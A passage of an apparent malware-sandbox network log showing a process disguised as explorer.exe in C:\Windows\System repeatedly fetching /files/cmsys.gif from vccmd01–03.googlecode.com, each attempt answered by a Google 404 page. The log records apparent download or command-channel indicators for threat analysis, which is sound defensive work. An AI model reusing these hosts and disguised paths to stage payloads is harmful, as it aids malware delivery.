0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:26.364810944 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	60719	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:26.847755909 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:27.832818985 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:27 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:27.832858086 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:10:27.832915068 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	60721	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:29.912938118 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:30.832714081 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:30 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:30.832822084 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	60722	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:31.114658117 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:32.027282953 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:31 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:32.027335882 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	60723	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:32.242907047 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:33.174428940 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:33 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:33.174493074 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	60725	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:35.176805019 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:36.108943939 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:35 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:36.108989954 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	60726	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:36.305176973 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:37.225480080 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:37 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:37.225604057 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	60727	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:37.750168085 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:38.664053917 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:38 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:38.664098024 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
